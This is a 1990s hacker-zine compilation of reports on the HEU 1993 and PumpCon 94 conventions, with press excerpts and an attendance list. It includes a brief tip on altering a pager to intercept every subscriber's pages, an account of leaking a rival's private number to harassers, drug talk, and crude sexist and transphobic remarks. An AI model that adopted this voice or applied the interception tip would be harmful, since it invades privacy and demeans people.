The area was layed out very well. There was a very big barn like structure where several dozen computers were all networked together. I sat down at one and saw that there was even a slip trying to work. With that many people trying to be on the net, it was almost 20 baud! Wow, technology at its finest. :) I also noticed that at least 2 people were running ethernet sniffers, so I decided that it would not be prudent to mess with the net there, even if the bandwidth dramatically increased.

Also in the barn were a tv/vcr area, several couches, a merchandise area and a snack bar. The snack bar sold rolls for a buck, and had free sandwich makings (like pb & j, cheese & meat, etc..) chips, jolt, and beer. This was very important to me since I was wondering if I'd get to eat.

There was to be some kind of food provided (a meal) for five bucks, but it was so foul that it could not be believed. And to top it all off it was vegetarian. Not just regular vegetarian, but totally off beat stuff that smelled like old socks. Nasty gruel unfit for even prisoners.

Behind the barn was the camping area. There was a HUGE tent that was the main meeting area, and several mid-size tents. Additionally there was a large lookout tower, and a shitload of tents set up for sleeping. Running all over the campground were cables for the conference's LAN.

It was impressive so say the least.

One of the first people I ran into at the con was KCrow. He helped me try to find a safe place to stow some of my crap. (Again, me and my fucking bags. I'm such an asshole.) We tried to place them in the network control room, but Bill SF told me to "get the hell out of there," so I did. And this of course, has left me with a wonderful opinion about Bill SF. (Bill, I love ya!) Several people tried to make excuses in his behalf such as "he hadn't slept in days," or "Bill isn't ever so rude," and "He's got a lot on his mind." Yeah, right.

(And I didn’t even say ANYTHING about how shitty it would be to try to make millions counterfeiting something, then let one of your friends take the fall for you, while you left the country. Nope. I would never be so rude. There is a difference between a true hacker and an opportunistic technologically literate criminal. But I didn’t say that.)

I finally just stuck my stuff behind the merchandising area and prayed that there was still honor among thieves.

I then ran into Damiano. He told me who was around. Several CCC people had arrived in a convoy of odd urban assault vehicles. The Germans (other than Damiano) kind of made me uneasy. They seemed to hang together and didn’t talk to many non-germans. I suppose maybe some of them didn’t speak English, or maybe I was just thinking odd Nazi fantasies. I dunno. Of all the people that were supposedly there, I kept missing Pengo. It was like some kind of weird trick. "Did you see him? He was just here." I never saw him.

That afternoon I only made it to one "workshop." I was to find out later that all of the really technical workshops had a common thread. "Here’s this cool technology, now go buy it from Hack-Tic for several hundred dollars."

The first example I had of this was in the "It came out of the sky" workshop where Bill SF talked about a device they had made that received pager information. They presented a few scenarios in which police or other nasties might watch pagers, or always page certain numbers right before raids, etc...

The concept was neat, but certainly nothing new. For a few bucks more than they were asking for the Hack-Tic model, you can buy a multimode decoder from Universal Radio (model M-400). It not only does POCSAG but also GOLAY (for pagers), ACARS, ASCII, Baudot, SITOR A & B, FEC-A, SWED-ARQ, FAX, CTSS, DCS & DTMF! Now that’s a decoder.

Additionally, a company called SWS security makes a similar device for law enforcement people at about $4,000 that does nothing but decode pager information.

If it came right down to it, all you would have to do is open up your beeper, dump the rom, and tell it to display info for ALL cap-codes rather than just yours. Your cap-code is written on the back of your beeper, and is stored in non-volatile memory somewhere. Look for the call to it, and have it always branch to the display routine rather than do a comparison.

I asked Bill about re-crystaling the device, since it there’s would only be able to pick up one pager channel as is, and about whether or not anyone had played with any of the 8-bit paging types such as is used in America on services such as EMBARC. Bill looked at me as if I was on crack, and asked, "Are there any other questions?" Sigh.

After that workshop, I took off with Andy of the Chaos Computer Club back to the German enclave. These guys were nuts. They had several winnebagoes totally decked out with all kinds of archaic electronic gear. They had all kinds of odd radio equipment; weird shit with Russian lettering was strewn about. The guys hanging about were jamming out really loud hard techno. I leeched a few programs from Andy and then took off back to the main area.

Sometime later, a guy who said he knew me from way back named Mr. Miracle came up to say hello. I had no idea, but since I rarely remember my own name, I took him for his word. Mr. Miracle was at the con with his friends Wim and a Tasmanian Amiga Dude named XTC. We hung out the rest of the afternoon bullshitting and talking about all kinds of stupid things.

As it grew dark, everyone moved into the Barn. Me, Carl, Mr. Miracle, XTC, Wim, and another Dutch Hacker named The Dude sat down to drink. We were joined for a bit by another Dutchman named The Key. He was totally into lock picking, and had a plethora of picks. (Car masters, traditional rakes, tube lock picks, and a weird looking pick for all new model fords.) The Key was a large, sinister looking guy who never took off his extremely dark sunglasses. I don't know if it was only for effect, but it certainly worked.

I decided it was high time to introduce the Dutch to that quaint American custom, Quarters. We must have gone through some 200 glasses of beer, and were extremely loud, drunk and obnoxious. One woman (I think it was a woman) wandered over to us and said, shouldn't you all be on the computers or something. We cursed until she left.

Mr. Miracle invited Carl and I to stay at his place for the rest of the con so we wouldn't have to go all the way back to our hotel. This was a godsend. We all piled into The Dude's car for a ride to the apartment that made Busch Garden's "Kumba" look like a merry-go-round. We were quite happy to make it home alive.

Xtc was also staying at Mr. Miracle's. We all spilled onto the floor upstairs in his townhouse. While we were all getting ready to pass out, Xtc yakked all over a bathroom. Needless to say Mr. Miracle and his girlfriend were pissed. We all thought there was going to be a death, but somehow Xtc lucked out.

The next morning we all took off over to check out of the Hotel Carl and I had rented. Carl had put some money in their safe. Of course, the safe broke, and it took them nearly an hour to destroy the safe completely so Carl could retrieve his 300 in traveller's checks. Mr. Miracle remarked, "Where's The Key when you need him."

When we finally ended up back at the con, there was a large meeting going on about Phone Phreaking. Emmanuel Goldstein, Bill SF, Rop, KCrow (KCROW??) and others were babbling on the panel. Phiber Optik was on a speaker phone adding commentary. I toyed with the idea of getting on the phone and wishing him well and telling him how cool it was in Holland, but I decided that would be too mean.

I sat outside the panel listening to everyone complain about the evils of the phone company. Many got up and argued that what they were doing was morally right, because the phone company charges too much. They also argued that since the lines were already there they should be able to use them for free. I got disgusted and began yelling about how there were chairs in the tent not being used and I wanted my hundred guilders back.

Several people gathered around and I kept ranting. Mr. Miracle joined in on the spree and began challenging just how much Hack-Tic was making off of the conference. He estimated at minimum 500 people at 100 guilders a piece. 50000 guilders. That's a lot of money. The crowd gathering around us began questioning the whole situation too. It got ugly, but none of us had the balls to say anything about it.

Later that day I sat down to hear Fidelio and RGB give a talk about Unix Security. I had asked them beforehand if they were going to talk about anything that I wouldn't know. (God, afterwards, I realized just how snotty that sounded. I'm a prick.) It went pretty good since most of the people in the crowd weren't gurus and this gave them a good overview.

Afterwards, Bill SF was holding a workshop about Wireless LANs. I was thinking this would be a tutorial about wireless lan theory and how their security was handled, etc. WRONG! Hack-Tic is supposedly building a frequency hopping wireless ethernet adaptor. (Soon to be available at a store near you.)

I asked Bill why they went with frequency hopping rather than direct sequence. There are basically two schools of thought about spread spectrum, and both have their plusses. Bill said their device would be hard to jam. I replied that if I pumped as little as 1 watt over a particular range, maybe like a 15 Mhz range, their device would be just as hosed as anyone else's.

As an afterthought, I hope they build it in the 2.4GHz range, because that's the only frequency block that is legal everywhere for this type of application.

Sometime later Bill SF was to give a phone phreaking tutorial. He trudged off in the woods to hold a secret workshop. Unfortunately, I wasn't among the privileged audience members, but I hear rumors that the Demon Dialer is available for sale. Sigh.

I have no idea what I did for the next few hours. I think I was abducted by aliens. The final panel of the evening was a social engineering panel being led by The Dude. Let's just say that a European idea of what to use your bullshitting skills for is a little bit different than that of your American hacker.

The Dude offered advice like "Say you are with the news or a tv star and maybe they will give you a guest account," or "Once I called up and said I was doing a story, and they told me information about their computers."

WOW! Pretty radical stuff. I remember a certain boy holding up a 7-11 by phone. I remember someone turning my phone into a payphone by bullshitting an idiot at the switch. I remember people getting root passwords from system admins by social engineering. Where were Chasin, RNOC & Supernigger when you needed them? These are the true greats. I don't know what these people at HEU were all excited about, but they all loved it. Ahhh, ignorance IS bliss.

After dark for some reason we were all drawn once again to the quarters table. It was brutal. They ran out of glasses. We made pyramids with the empties. We played chandeliers. We belched, we hollered, we were manly men doing manly things, and we mocked those playing computer games just a few yards away. We laughed at them with manly laughs. And I don't think anyone threw up that night.

We got a ride home that night from The Key. He never took off his glasses. There are no lights along the highways in Holland. Luckily I was drunk, or I would have been scared shitless.

The final day of the conference we arrived in time to see the "hacking and the law" panel. Emmanuel Goldstein, RGB, Rop, Ray Kaplan, Wietse Venema, Andy from the CCC, a Dutch CERT guy and a few others were on the panel. It started very well but went sour quickly. It was supposedly being moderated by this asshole of a journalist who apparently didn't understand what it meant to moderate. He would answer EVERY question addressed to the panel, whether or not he even knew what the question was about.

This shithead gave journalists a bad name. Finally this guy got so annoying that I finally got up and left.

We decided not to hang out for the party at the end of time. We figured that the party would be much more fun in Amsterdam, so we cut out. It was time to get into the city and cause problems.

EB's Handy Travelling Tip #5: Don't buy drugs in other countries.

Drugs are illegal in Holland, despite what everyone says. Despite this fact, they are plentiful and every swinging dick on the street has a few pills or joints to sell you. Now the way I looked at it, why in the world would you go a zillion miles away to see another country and spend your time wasted?

It reminded me of walking in the Height after dark, or going down the Drag in Austin a few years back. Every three steps we took in Amsterdam, some joker would run up and say, "You want good smoke? Ecstasy? Cocaine? You want good coke? How about some good hashish?" I should have asked for DMT, but I just blew everyone off.

On top of all this, there are like 5 or so bars in Amsterdam that actually sell hash in the bar. They are very easy to spot. They are the ones with the pot plants in the window and the tell tale dope smell permeating every pore of your body when you walk past. The big ones are the Bulldog and High Times. Save your money for better things, like t-shirts or smut.

At the con, several people were selling "Space Cakes" which were essentially hash brownies. If you've never eaten dope, you might not like it. It comes on slower, lasts longer, and generally puts you to sleep. This was not what I'd want at a Hacker Con. We needed stimulants, damnit! I drank lots of jolt instead.

EB's Handy Travelling Tip #6: Go to the Red Light District in Amsterdam.

Even if you are too cheap (or too moral) to shell out the 25 bucks, you should go check out the Red Light District. Be forewarned, all those people who tell you that the women are all "so fine" are either fucked up or have bad taste.

In the Red Light area the women hang out behind windows in their underwear and try to coerce you into sleeping with them by taunting you, flashing you, or making other sexual innuendoes.

Unfortunately, the vast majority of these "women" look like out-takes from "The Crying Game." We are talking adam's apples and big hands here. Large boned Asian creatures that scared the shit out of me. These things were NASTY.

Mr. Miracle, Wim and I must have walked around for an hour looking for decent women. Finally we came across two. TWO. Out of hundreds, there were two. One was a tall blonde in her twenties. One was a short, tan brunette who looked, uh, young.

17:10. I'll spare you the details. Let your imaginations run free.

EB's Handy Travelling Tip #7: There's no place like home.

I was very happy to hop on that plane back to the USA. As much as I hate to admit it, I really wouldn't know what to do with myself if I didn't live in America.

Maybe an England or Australia trip would have been totally different. It really sucked not being able to speak the language. I also got real tired of trying to find food I could eat. [I gave up red meat almost a year ago, and Europeans LOVE THEIR MEAT. Trying to find chicken was a nightmare. The Dutch word for chicken is KIP. Remember that.]

The TV sucked, there weren't really any good places for live music, the women weren't interested in a scummed-out, long-haired American tourist and I missed my cat. I met some really cool people and had a blast for the week I was there, but I was real happy to land in the USA.

Epilogue

EB's Handy Travelling Tip #8: If you think customs is going to search you
they won't.

Me, being stupid, left all my good smut in the Netherlands because I was afraid I'd get arrested for it. I envisioned the conversation. "What are you doing with all these nasty things, boy? You are one sick fucker! Lookie here Bob, this here hippy has pictures of gals a pissin' on one 'nuther." So what happens? They smile and wave me through. Fuck.

****

Hacking at the End of the Universe
by Nimrod Kerrett, zzzen@math.tau.ac.il

"A Techno-Anarchist Convention" -- August 3-6, Larserbos, HOLLAND.
The announcement in Computer Underground Digest committed its viral act, erasing all the neatly ordered schedule entries for the first week of

August from my old, grey memory cells, to be replaced by a neon light flashing "You deserve a vacation in Holland." Away we went...

Most of us European/Third-World dwellers don't get to see much of the physical manifestations of Gibson's self-executing prophecies. OK. The Matrix is there, but to witness street-culture one must live in San Francisco or somesuch. HEU -- Hacking at the End of the Universe -- looked like the only chance to surface on the physical side of a phone plug and experience cyber-culture in form of faces, fashion and body-lang. How naive I was to presume this. Compared to most of the kids there, I looked dangerous (a timid, Swiss-bank sysadmin)... But don't get me wrong, I DID have fun -- failing to do so in Holland requires quite a unique body-chemistry -- but I had a nagging feeling that European hackers still live in the Seventies.

First, A Few Positive Notes

The most important lecture addressed electronic money. I won't go into sci.crypt-style details, but this was the most exciting thing I've ever heard since public-keys were first explained to me. The president of a Dutch firm called DigiCash described a crypto scheme where a bank can issue electronic credit-certificates which can't be forged, and yet are immune to traffic analysis. Their digital cash is just like physpace cash: it has no smell. You get a "virtual $100 bill" from the bank that you can't forge or spend more than once, and which the bank can't trace -- e.g. to the specific person who requested it.

Ever since society devolved from cash to credit cards, people have become used to the idea that our shopping-histories are readily subject to electronic surveillance. At HEU I learned this was all hype: we CAN evolve economic systems to enjoy advantages of digital communication without sacrificing our privacy.

Another interesting issue was a lecture by an ex-CIA executive who went private [ed. note: positively identified as a net.personality on the WELL] and now tries to preach for open-source approaches: instead of creating your own locks and picking the ones of your neighbor, the idea is to use information-gathering/analysis techniques -- one of those things in which "intelligence" bodies specialize -- to derive content from the info-swamp we seem to be sucked into... and then sell it. This guy made arguments similar to what Barlow said before the hush-hush community a few months ago, but seems to refocus everything on enterprise. Mighty exciting. BTW, I've noticed how the concept of profit makes bleeding-heart European anarchist types wince...

The network built onsite also impressed me. In a campground setting, subject to occasional rainstorms, they erected three LANS connecting nearly 100 computers of all sizes and shapes, plus terminal servers for the Etherless. Computers were placed in our private tents, and the field bloomed with PC/XTs-turned-repeaters covered in wet plastic sheets. This monstrosity connected to the Internet over three shaky SLIP dial-up lines and it actually WORKED -- it cost some sleepless 36 hours, but still, WOW.

Switch To Poison Ink

Hacker (n) -- (1) One who derives pleasure from making systems do things they're not supposed to do. (2) A nerd who does word-processing in hexadecimal, is allergic to color or windows and hates being called a "user" in ANY context.

Most of the hackers I met at HEU fell under the second definition. I was even scolded for using "Wintendo" and wasting the precious power of my 486 notebook. Let's start with the local network -- having all the tents connected was a wonderful idea, and symbolized constructive techno-anarchy. Unfortunately it lacked cultural content. To begin with, you had to login as a guest -- if you'd figured out the IP number of a server working at the moment. You had no identity handle, so there was no use in talking about site-specific newsgroup for follow-ups on topics. Even local email was impossible; to whom would you email? Since everyone got a badge on entrance, why didn't we also receive user-ids, perhaps written on the badges? Even administrative announcements (e.g. schedule changes) were only available on a PHYSICAL bulletin-board in the bar... ever tried to scan manually over 200 paper scraps?

Another side effect was that to justify dragging your portable all the way to Holland, you just HAD to hog the SLIP lines and telnet outside, which made life hard for all of us, but much harder for the networking crew. In my humble opinion, excessive telneting is like saying "Nothing to do here, let's try somewhere else." I LIVE somewhere else; I took a plane in order to check out THIS place. Telneting was also a problem since the IP-resolving system didn't work and we had to apply hacking techniques to find the IP numbers back home.

The most frustrating thing was the social/political discussions. In a discussion titled "Networking For The Masses" someone dared suggest user-friendliness as a key to resolving computer illiteracy. "No shit, Sherlock" -- I hear you mumble. Well, here's how another panel-member replied: "A revolution is not a user-friendly thing. Activists shouldn't count on the computer community to make stuff easier for them". Watch out, masses... prepare for computer military-training once the Revolution is over.

Let's take another trendy political subject -- cryptography. One would assume that any techno-anarchist convention in '93 would feature a nice level of heated, political, crypto-discussion. Well, nada. The only crypto-related subject was the "electronic cash" mentioned above. Although it's quite exciting for the crypto-enlightened, 90% of the HEU audience lost contact after the first three cube-roots, returning to their tents to telnet elsewhere. I was left in a small group of highly-technical Cypherpunks who didn't give a fork whether New Delhi housewives would ever understand the switches of PGP; they seem to ENJOY their wizardly "elite" status.

Even in discussions about hacker-paranoia, the audience disliked the idea of demystifiyng the almighty-hacker image to make your average, trigger-happy policeman relax a bit. Does Europe need an equivalent of USA's "Operation Sun-Devil" to knock sense into its collective skulls? FTP to ftp.eff.org:/pub/cud/papers/crime.puzzle to learn from the bitter experience of others (I don't know the IP number!).

Epi-Travel-Log

Before the convention, I naively believed that at least the HACKERS could Read the Writing on the Wall... Since I'm sober now, I'll spell it out for you:

When the world finally adopts strong public-key cryptography (I hope it does, since I've seen too many wars and acts of human-rights infringement in my life), two things will become virtually impossible: 1) seeing what you're not supposed to see; and 2) changing what you're not supposed to change, unless you want to cause brute-force damage.

These two anachronistic activities represent the basis for most hacker-culture I encountered at HEU -- so my advice is: switch to the first dictionary-definition of "Hacker". Try being less techno and more anarchist. There's a revolution going on... in case you've missed out on some Usenet recently.

Reprinted from Fringe Ware Review #2, ISSN 1069-5656.
Published by FringeWare Inc., fringeware@illuminati.io.com
Copyright (C)1993, Nimrod Kerrett. All rights reserved.

Hackers Play The Field July 26, 1993

(Newsweek) (Page 58)

[A Newsweek reporter packs for, and dreams about, HEU in the Netherlands.

As you can tell, it was written before the actual con]

There's no guarantee of a large turn-out, but if thousands show up, it may help demonstrate how far hacking has moved out of the bedrooms of smelly adolescents. If so, there's likely to be less geeking and more dancing in the Dutch summer night. Programmers may one day be able to lean back from their terminals, pat their pocket protectors and say, "I was there."

****

A Woodstock For Hackers and Phreaks

August 16, 1993

by Barbara Kantrowitz and Joshua Ramo

It was billed as "Woodstock for the Nintendo Generation" The techno-freaks who gathered at the Hackers at the End of the Universe in the Netherlands last week had at lease one thing in common with their '60s counterparts: they believed rules were made to be broken.

Some were there only electronically, communicating through networks around the world. The rest--the vast majority of them males in their late teens and early 20s--gathered in hundreds of multicolored tents clustered around power outlets and portable toilets in an area the size of six football fields. Many had computer terminals in their tents, with the monitors nestled between sleeping bags and guitars.

No one was surprised by the white van bristling with antennas that trolled up and down the road leading to the campground. Everyone seemed to agree that it belonged to the Dutch Secret Service; everyone also assumed the meeting was being monitored by the CIA and Britain's MI6. But no one knew for sure; paranoia is popular among hackers.

****

Pump Con 94

"The Legacy Continues"

by Erik Bloodaxe

Travelling sucks most of the time. People like to glamorize it as if it's some kind of status unobtainable to the "Average Joe" but nine times out of ten its just a pain in the ass.

My trip to Philadelphia for the second PumpCon fell well within the aforementioned nine of ten. I was sick as a dog, coughing up large blood-soaked clots of phlegm at a steady pace. This was either due to some undetected immune system failure or due to my previous weekend's fiasco which dealt with chemical overindulgence, alcohol abuse and some kind of strange creatures that tried to pass as female...but that's another story.

(We will assume that my ill-health stemmed from the latter.)

I showed up at the Comfort Inn to find a lobby full of what had to be conferees. (They had been saying to many people they were "Campus Crusaders for Christ.")

After checking in I stumbled over to the group to see who was who. I introduced myself and asked if Dr. Who or Mark Tabas had showed up. They had not. (And as it turns out, they would never show up. Dr. Who I can forgive since he had no way in from Boston, but Tabas...obviously he had better things to do than drive a few miles across town to say hello. Remind me to reciprocate at HoHo Con.)

I was immediately pulled away by GrayAreas and Ophie, who both bestowed upon me warnings of impending doom. Ophie relayed that The Wing had told her the previous night that he was going to come to the con and "get me."

GrayAreas informed me that an unscrupulous character had been asking for me earlier. After she described him, it was obvious that Rogue Agent had made it to the con. (Unscrupulous...haha)

Up in my room, I dove into my bag of medical goods and felt pity upon myself. Congested, contagious, feverish and now being stalked by some unknown person. Great. I never much paid any heed to the threats given by unknown typists over the net, as people's bravado multiplies exponentially in direct proportion to the distance they are separated behind a phone or computer screen. During the week prior to the con I had been threatened by at least 2 different people under a variety of nicks and addresses. One promised to crack me over the head with a bat.

I figured with my luck, being sick, this would be the ONE time someone would make good on such a promise, as my timing and coordination would obviously be impaired. Swell.

I went on back downstairs to jump in the conversations in the lobby. The group had grown a bit in my absence. I sat down and began talking to Shortwave & C-Curve about ham radio and archaic computer equipment. Shortwave offered to send me a Commodore PET to add to the Erik Bloodaxe Memorial Computer Archive. (The EBMCA is a non-profit organization devoted to maintaining the history of personal computing. Our museum will open soon. Hold your breath!)

I then noticed that it appeared that damn near every IRC denizen from the Washington DC area was at this damn con. (sans KL & Strat, but they were to appear the following day.) A bunch of us took off wandering around later on to see what the hell was up at some of the other hotels. The area was laid out in such a manner that there were like five hotels immediately next door to one another with two cheesy restaurants between them.

We took off to the Knights Inn and ended up hanging out in the parking lot staring at the moon, bullshitting about really lame stuff. While hanging out like retards in the near freezing winds, Dark Tangent came over and told us that Zar had been thrown off a bus for the 2nd time and was stuck in DC and needed someone to pick him up. No one wanted to road trip it to DC since we were all having SOOO much fun freezing our asses off, so Zar had to wait it out for the next bus.

In one room in the Knights Inn a bunch of people were busily smoking their brains out. Their little gathering was dubbed "Hemp-Con."

Finally, sanity rested upon me and I decided that the cold would not help nurse me back to health, so I took off back to my room. Ophie was in the room next door to mine with a bunch of people drinking. Well, I think Ophie was doing most of the drinking actually. :)

I wandered in and gave her a hard time about being drunk. She responded by telling everyone in the room intimate details about her marriage and her sexual involvement with the entire DC hacker scene. Then she took off all her clothes and ran around throwing Miniature chocolate bars at everyone. I'm making this up, but she probably wouldn't remember. it anyway. Hehe.

As I went to open my door I noticed that someone had written "DIE NARC" on it with a cigarette. On the floor was the cigarette, a Camel filterless. Well, it appeared that The Wing had arrived. [Oh frabjuous day. Calloo, Callay. I chortled in my joy.]

Just as I was about to go to bed, people were banging on my door. When I opened it, it looked as if everyone from Ophie's room had staggered over for a visit. One guy in the back, kinda tall, kinda thin, wearing a purple shirt, was smoking a Camel stub. I smiled a him and said, "How's it going?" He seemed a bit put off but said, "Do you know who I am?" I replied, "Of course I do Alan, how's it going?"

This seemed to piss him off for some reason.

"You might be all happy tonight, but just wait until tomorrow," he said.

"Oh?" I replied, "you got something in store for me? Cool. Could you play those Ken Shulman tapes for the con?"

(For those of you who don’t know, once upon a time, I had a little company called Comsec. One of my partners was Ken Shulman, a rather complex new money piece of @#!*. Well, things didn’t work out with us and Ken for a number of reasons, so we fired him. Ken got mad at us. He tried to fuck over each of us in devious little ways. To get even, I gave his private number out to MOD via the MOD information conduit Renegade Hacker. One day, "little shulow" was called up by Wing and Corrupt. According to several people, this call was recorded by MOD. On this now legendary tape, allegedly a disgruntled Shulman proceeded to tell MOD the story of how we at Comsec were involved in crimes, drugs and were turning in everyone to the feds. This is the same Ken Shulman who lost his BMW to the Houston Police when it was found with 400 hits of X in the trunk, and went into seclusion. But I digress. I’ve been trying to get a copy of this tape for about two years to see if he said anything actionable about Comsec, and to it give to the FBI if he may have been interfering with an ongoing federal investigation. Yes, I do hate him.)

This seemed to make Wing mad too. I guess I might have spoiled the surprise or something. "I’m not gonna play any tapes so you can sue Shulman."

"Oh, that’s too bad." I said.

"Well, I just want you to know, that tomorrow when it happens, you’ll know," he said.

"Well, I guess we’ll just wait till tomorrow then."

"Yeah, we will."

"Yup. I guess we will."

"You think you’re so cool, but YOU’RE A DICK!" he screamed.

Oh great, this is where I get punched. "Well, it’s nice you have your opinions."

"YOU’RE A FUCKING DICK!"

Maybe I was supposed to be the one getting mad and doing the punching but I wasn’t getting anything but tired and was ready to take a shitload of aspirin and slam a bottle of night-time cold syrup and antibiotics. "Well, I’ll see you tomorrow."

By now, I guess everyone had figured out that there would be no bloodsport, so someone grabbed Wing and they left. Ophie yelled after him, "Some people are such assholes."

"Well, wasn’t that fun," I said to those still hanging around. "But, alas, time for me to get some sleep." I went down to bum some aspirin from Noelle and told her the sordid tale, then went back to my room and crashed out.

AND THAT’S THE INFAMOUS ERIKB vs THE WING STORY. AREN’T YOU EXCITED?

That night, VaxBuster and others tried to get in the electrical box, but were thwarted by a concerned citizen. "I’M GOING DOWN TO THE FRONT DESK RIGHT NOW!"

Meanwhile, Sabre sat in the cold all night drinking himself into oblivion while keeping a sharp, albeit bloodshot, eye out for potential feds.

The next day everyone congregated in a room at the Red Roof Inn that had been rented as the Conference Room. (How crafty, we’ll have it in a hotel room, and SAY its a conference room.)

Everyone piled into this room anxious for everything to begin. We waited. And waited. And waited. Several newcomers had arrived such as Strat and his woman, Dr. Freeze (who used to be the Wizard 703 of rolodex fame. Keep on Phreakin!), and Zar who had arranged to get kicked off of his 3rd bus right near the hotel by slamming a 40 and lighting up cigarettes right next to the bus driver.

Finally, after about 7 hours, I figured that maybe I should just go say something. I hopped up and gave a quick and dirty overview of commercial packet radio technology. I talked briefly about RadioMail and CDPD, and also talked about EMBARC and demonstrated sucking messages out of a Newstream pager. Then I sent a message from my notebook from ARDIS to a Sprintnet gateway, thru an outdial to a dialup to a terminal server on the Internet, and from one account mailed myself at RadioMail which then sent it back to me on my HP95 over RAM. I dunno...I thought it was cool.

After speaking, I was presented with an award: an empty porno video box. The buttheads didn't even have the decency to give me the tape! I put the bible in it instead and placed it back in a drawer.

GreyAreas got up next and talked a bit about her magazine and then in a heartfelt plea, asked whoever was bothering her to stop. Many in the audience seemed indifferent to her cause, which upset her greatly. She had to leave immediately afterwards. I hope I wasn't the only person who felt kind of sorry for her.

Now, I'm not one to rain on anyone's parade, but kids, fun and games on the net are one thing, but the minute you start fucking with people's businesses they will go to the FBI. Remember this. [Personally, I think there are about 4 or 5 specific people on the net who need to fucking grow up before they find themselves sharing a cell with Phiber, although that seems to be what they want.]

To be fair, people who decide that they want to get on the net need to be reminded that THE NET IS NOT REAL! THE NET IS NOT REAL LIFE. IF THE NET SCARES YOU OR WORRIES YOU, TURN OFF THE FUCKING COMPUTER! GO HANG OUT ON ANOTHER CHANNEL! GO PLAY ON A MUD! GO READ NEWS! If that doesn't placate you, go to AOL.

Next up was someone I didn't know, and unfortunately didn't meet. But his girlfriend was HOT! [If he's reading this, tell her I said "hi."]

He gave everyone a rundown of the troubles from last year's Pumpcon. I noticed during his recap that the trouble last year didn't really start until they all read The Visionary's file. I suggested that we hold a midnight seance and read it aloud so we could all get busted too.

Ixom finally made it to his own con and said a few syllables about the folks still waiting to be sentenced from last year.

Up last was VaxBuster who talked about the wonderful world of Blue Boxing. Yes, Virginia, there is a way to box. People are so silly. Obviously I'm not the only one who has looked at CCITT manuals and knows signalling frequencies in other countries, or who knows about the "International Direct" numbers. Wow.

After the conference several of us had pizza and got the worst service I have ever had in my entire life of dining out. Grand. We made up for it by amusing ourselves spotting "victims" with laser pointers, laughing like idiots as we placed the dots on their foreheads.

Once we got back from chowing, everyone had already begun drinking. People were going off to congregate at the conference room for a central party location. As I was leaving to go over there, The Wing walked up to me, and said he needed to talk to me. We went into my room and he said he had heard what GrayAreas said earlier in the day, and he wanted to say that it wasn't him. I told him, he needed to tell her that, and not me.

I went on to tell him that if he wasn't involved in all the crap going on all over the net, then I had no problems with him. I said he had some really poor choices in friends in the past, but hopefully he would exercise better judgement in the future.

We all went back over to the conference room. Wing pulled GrayAreas outside to talk to her. While they were talking, I caught some talk about payphones.

[no names from here on]

It seems this guy had a lot of phones and several people too off to go buy a few. They ended up at the lamest party in Pennsylvania. Four people and a keg. The phones allegedly were sold for 75 bucks and were still in the box. Brand new.

Back at the con, one of the hapless phone buyers decided to take his phone up to the conference room to show it off. Once there, everyone giggled and gawked over it, and then he took it back down to put it in a car. On the way there, a cop grabbed him and arrested him. The cop then searched the car he was about to put it in and found some pot and arrested the car's owner too and had the car impounded.

[anonymous portion ends]

Now the cops converged on the conference room and began hounding people in there. One wonderful cop discovered my Porno-Bible creation and screamed at the crowd, "You heathens! How could you do something like this? You people are sick!"

Ixom, ready for a fight, began yelling at the chief of police over the phone. The police chief told him that maybe he would like for the nice officers to bring him downtown to go over his complaints. Ixom decided that would not be necessary.

After the police interaction, people scattered from the conference room back to their individual rooms. No sooner than they got there, the police decided to investigate a "few noise complaints" at the Comfort Inn. Ophie's room, the Dope Room on the 1st floor and a few others got searched.

While all of this mayhem was ensuing in the outside world, I was up in my little room being interviewed by GrayAreas for her magazine. This was probably the longest interview I've ever done. I hope I don't turn out looking like a bigger fuckhead in it than I already am.

After the interview, I got the story of all the police interaction from the throngs of people who gathered outside my room. A few people remarked, "how come YOUR room didn't get searched?" I didn't have an answer for that, except maybe because it was paid on a corporate AmEx and might not have looked like a "hacker" was in there. (No, it was because I work for the government...just ask Agent Steal. Geez.)

After this mess I went to bed. Yup.

The following morning while waiting to get a table at Denny's, we noticed that the old dudes with the beer were going into the "conference room" and taking stuff out. A bunch of the crew ran over there to check it out and guess what? The old guys weren't just any bunch of drunken old dudes, they were the Pennsylvania State Police's Computer Crime Division. They had been staking out the conference from the room next door and had listened in to everything. Rad. Two years and running. Maybe next year the CIA and NSA will want to stake it out too. I can't wait.

Then I went home.

****

- Top 10 things learned at PumpCon -

- The Wink -

10) Hotel's don't like over 40 people in their lobby

9) Its not Ma'am, its Doris

8) "GrayArea has quite a few gray areas"

7) Greyhound hates Zar

6) Who needs speakers who show up?

5) SnatchBuster !

4) "You heathens, how can you put the Holy Bible in a pornographic movie case !"

3) Geezer Narc !

2) Don't put condor and erikb in the same space

1) Don't carry open payphones around the con

****

PUMP CON][

Informal Attendance List

<Disclaimer> I cranked this thing out over the weekend, and some people I know were there, but I didn't get their names. Some people might be listed twice. It's up to you to figure it out.

As we were waiting for people to arrive we came up with a lameness scale. If you got a "+l" that mean you got a lame point for saying someone's real name or info. Basically spouting off real stuff to people who shouldn't hear it. Sure it's easy when you all know each other, but if I was really trying I would have generated so much real data on people it would be scary. On the other hand if you were real slick and tricky, you got a "+e", or elite point. As more and more people showed up I stopped doing this 'cuz we all broke up and only the people I was around would have to suffer the wrath of the +l. Think of it as a security rating. The more +l the easier it was to get info out of people.

The List is in the order of when I ran into people. Basically the first half is in chronological order, but after that I lost track and got names when I could.

Grayarea
Noelle (Yes, she exists)
Okinawa (+e)
Reive (assigned to Fed-Man)
Ophie (+l+l+l+l+l+l.. you get the idea)
Lgas (+l)
Loki (+l, but he was trying hard..)
Jello Man
Evak
CarlCory
SubEthan (+l)
Bernie S. (+l, Elite handset dude)
Jamie
DRobinson
iXom (5 hours late)
Nick-O (+e, worked that stewardess)
FreeJack
MadCap (With the elite hat)
Condor
Jay Farnam
ShortWave
ErikB (+e, good speech)

```
C-Curve (+e)
Cuttle Fish
Vax Buster (+e+e for protecting personal data, Good speech)
Syntor
LudiChrist (+l,+e for evading officers)
Optic Nerve
Scourge (+l)
Great One (+l, +e for staying cool at police station)
Dave (+l+l, Don't use your real name)
Phil (+l+l, what's this, Real Name con?)
Juanka (+l This guy was acting strange..)
Rogue
NtStriker (+e for being shot by the police)
Wierdo
DreamScriber
Randy S. Hacker (+e for cool car and free beer)
Count Zero
Typhoid Mary (She locked onto TaquilaHeadPaint)
Ragent
The Wing
Stranger (+l for believing NtStriker was shot)
RedAlert
Zar (+l for getting kicked off three busses)
Dr. Freeze
Strat
Anonymous Caller
KL (+e for staying at the Knights Inn)
Mad Dog
Odd Ball
Hoog
Decimator (+l, real name)
Time Lord (+e, good speech)
Albatross
Saber
Tristan
Grimm
Male Havoc
